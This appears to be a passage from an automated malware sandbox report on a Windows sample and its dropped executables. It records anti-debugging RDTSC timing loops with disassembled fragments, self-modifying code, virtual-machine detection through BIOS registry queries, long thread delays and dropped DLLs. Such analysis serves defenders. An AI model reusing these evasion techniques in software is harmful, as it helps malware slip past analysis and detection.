Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0B30 second address: 52B0BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a call 00007FE310CDC39Ah 0x0000000f push esi 0x00000010 pop ebx 0x00000011 pop ecx 0x00000012 push edi 0x00000013 pushfd 0x00000014 jmp 00007FE310CDC39Ah 0x00000019 jmp 00007FE310CDC3A5h 0x0000001e popfd 0x0000001f pop esi 0x00000020 popad 0x00000021 mov dword ptr [esp], ebx 0x00000024 jmp 00007FE310CDC3A7h 0x00000029 xchg eax, esi 0x0000002a pushad 0x0000002b mov di, cx 0x0000002e mov edi, esi 0x00000030 popad 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FE310CDC3A8h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0BA8 second address: 52B0BAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0BAE second address: 52B0BCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE310CDC3A4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C058A second address: 52C05AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C05AD second address: 52C05B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C05B3 second address: 52C05B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C05B8 second address: 52C060C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE310CDC3A6h 0x0000000f mov ebp, esp 0x00000011 jmp 00007FE310CDC3A0h 0x00000016 push FFFFFFFEh 0x00000018 pushad 0x00000019 call 00007FE310CDC39Eh 0x0000001e mov ebx, ecx 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 mov bl, FCh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C060C second address: 52C0610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0610 second address: 52C0622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push 56081D23h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0622 second address: 52C0628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0628 second address: 52C06F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE310CDC3A5h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 21D7A2F5h 0x00000012 pushad 0x00000013 pushad 0x00000014 mov eax, edx 0x00000016 mov dx, ECA8h 0x0000001a popad 0x0000001b pushad 0x0000001c call 00007FE310CDC3A7h 0x00000021 pop ecx 0x00000022 pushfd 0x00000023 jmp 00007FE310CDC3A9h 0x00000028 xor cx, 8776h 0x0000002d jmp 00007FE310CDC3A1h 0x00000032 popfd 0x00000033 popad 0x00000034 popad 0x00000035 push 36EE5781h 0x0000003a jmp 00007FE310CDC3A7h 0x0000003f xor dword ptr [esp], 4138F981h 0x00000046 jmp 00007FE310CDC3A6h 0x0000004b mov eax, dword ptr fs:[00000000h] 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FE310CDC3A7h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C06F7 second address: 52C0721 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FE31118121Ch 0x0000000f push eax 0x00000010 jmp 00007FE31118121Bh 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov cl, bl 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0721 second address: 52C0726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0726 second address: 52C072C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C072C second address: 52C0730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0730 second address: 52C0734 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0734 second address: 52C076D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 1Ch 0x0000000b jmp 00007FE310CDC3A1h 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE310CDC3A8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C076D second address: 52C077C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE31118121Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C077C second address: 52C0878 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FE310CDC39Bh 0x0000000b sub si, B83Eh 0x00000010 jmp 00007FE310CDC3A9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FE310CDC3A7h 0x00000021 xor ecx, 210A3A4Eh 0x00000027 jmp 00007FE310CDC3A9h 0x0000002c popfd 0x0000002d mov ax, 4657h 0x00000031 popad 0x00000032 xchg eax, ebx 0x00000033 pushad 0x00000034 call 00007FE310CDC3A8h 0x00000039 mov dx, si 0x0000003c pop eax 0x0000003d pushfd 0x0000003e jmp 00007FE310CDC3A7h 0x00000043 and esi, 125FADBEh 0x00000049 jmp 00007FE310CDC3A9h 0x0000004e popfd 0x0000004f popad 0x00000050 xchg eax, esi 0x00000051 jmp 00007FE310CDC39Eh 0x00000056 push eax 0x00000057 jmp 00007FE310CDC39Bh 0x0000005c xchg eax, esi 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007FE310CDC3A5h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0878 second address: 52C08BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE311181227h 0x00000008 pop ecx 0x00000009 movsx edx, ax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, edi 0x00000010 jmp 00007FE311181220h 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FE31118121Eh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C08BB second address: 52C0938 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 jmp 00007FE310CDC39Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, edi 0x0000000e jmp 00007FE310CDC39Eh 0x00000013 mov eax, dword ptr [77E1B370h] 0x00000018 pushad 0x00000019 call 00007FE310CDC39Eh 0x0000001e push esi 0x0000001f pop edx 0x00000020 pop eax 0x00000021 pushfd 0x00000022 jmp 00007FE310CDC3A7h 0x00000027 jmp 00007FE310CDC3A3h 0x0000002c popfd 0x0000002d popad 0x0000002e xor dword ptr [ebp-08h], eax 0x00000031 pushad 0x00000032 mov di, si 0x00000035 push ecx 0x00000036 mov cx, di 0x00000039 pop ebx 0x0000003a popad 0x0000003b xor eax, ebp 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 mov edi, ecx 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0938 second address: 52C096F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FE31118121Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movzx ecx, di 0x00000016 movsx ebx, cx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C096F second address: 52C0993 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE310CDC3A0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0993 second address: 52C09A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE31118121Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C09A2 second address: 52C09BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE310CDC3A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C09BA second address: 52C0A48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-10h] 0x0000000b jmp 00007FE311181227h 0x00000010 mov dword ptr fs:[00000000h], eax 0x00000016 jmp 00007FE311181226h 0x0000001b mov esi, dword ptr [ebp+08h] 0x0000001e jmp 00007FE311181220h 0x00000023 mov eax, dword ptr [esi+10h] 0x00000026 pushad 0x00000027 pushad 0x00000028 call 00007FE31118121Ch 0x0000002d pop ecx 0x0000002e popad 0x0000002f jmp 00007FE31118121Eh 0x00000034 popad 0x00000035 test eax, eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FE311181227h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0A48 second address: 52C0A60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE310CDC3A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0A60 second address: 52C0A7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE31118121Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FE383BE04C9h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0A7C second address: 52C0AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FE310CDC3A1h 0x0000000a add si, CDF6h 0x0000000f jmp 00007FE310CDC3A1h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0AAA second address: 52C0AB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0AB0 second address: 52C0AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0AB4 second address: 52C0AB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0AB8 second address: 52C0B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, 00000000h 0x0000000d jmp 00007FE310CDC3A4h 0x00000012 mov dword ptr [ebp-20h], eax 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FE310CDC39Eh 0x0000001c sbb si, 8178h 0x00000021 jmp 00007FE310CDC39Bh 0x00000026 popfd 0x00000027 call 00007FE310CDC3A8h 0x0000002c mov edi, eax 0x0000002e pop ecx 0x0000002f popad 0x00000030 mov ebx, dword ptr [esi] 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FE310CDC3A3h 0x00000039 adc ecx, 23D46E9Eh 0x0000003f jmp 00007FE310CDC3A9h 0x00000044 popfd 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FE310CDC39Eh 0x0000004c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52A0445 second address: 52A0449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52A0449 second address: 52A044F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52A044F second address: 52A0466 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE311181223h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52A0466 second address: 52A04EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov dx, si 0x00000010 pushfd 0x00000011 jmp 00007FE310CDC3A8h 0x00000016 and esi, 339D6D88h 0x0000001c jmp 00007FE310CDC39Bh 0x00000021 popfd 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FE310CDC39Bh 0x0000002e and eax, 0CF7F1CEh 0x00000034 jmp 00007FE310CDC3A9h 0x00000039 popfd 0x0000003a mov di, cx 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	RDTSC instruction interceptor: First address: 2B2E01 second address: 2B2E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	RDTSC instruction interceptor: First address: 43061A second address: 43066A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c ja 00007FE310CDC396h 0x00000012 jmp 00007FE310CDC3A1h 0x00000017 jmp 00007FE310CDC3A7h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jne 00007FE310CDC396h 0x00000025 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Special instruction interceptor: First address: 272E28 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Special instruction interceptor: First address: 418EA2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Special instruction interceptor: First address: 445BD8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Special instruction interceptor: First address: 272D50 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Special instruction interceptor: First address: 4AF6A5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Special instruction interceptor: First address: 418370 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 2B2E28 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 458EA2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 485BD8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 2B2D50 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 4EF6A5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 458370 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Special instruction interceptor: First address: 417E2A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Special instruction interceptor: First address: 5B983A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Special instruction interceptor: First address: 5E1DF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Special instruction interceptor: First address: 5C9717 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Special instruction interceptor: First address: 641C4A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Special instruction interceptor: First address: 1E2E28 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Special instruction interceptor: First address: 388EA2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Special instruction interceptor: First address: 3B5BD8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Special instruction interceptor: First address: 1E2D50 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Special instruction interceptor: First address: 41F6A5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Special instruction interceptor: First address: 388370 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Special instruction interceptor: First address: 3458CB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Special instruction interceptor: First address: 513D1C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Special instruction interceptor: First address: 573A45 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Memory allocated: F30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Memory allocated: 2C80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Memory allocated: 2AC0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe

Code function: 0_2_052F0000 rdtsc

0_2_052F0000

Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1225	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1178	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1241	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1217	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Window / User API: threadDelayed 9583	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Window / User API: threadDelayed 1933
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Window / User API: threadDelayed 3133
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4797
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3896
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4111
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2530
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2378
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3328
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1328
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3727
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3897
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 577
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4092

Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\win32\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin\mfc140u.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\win32\win32api.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
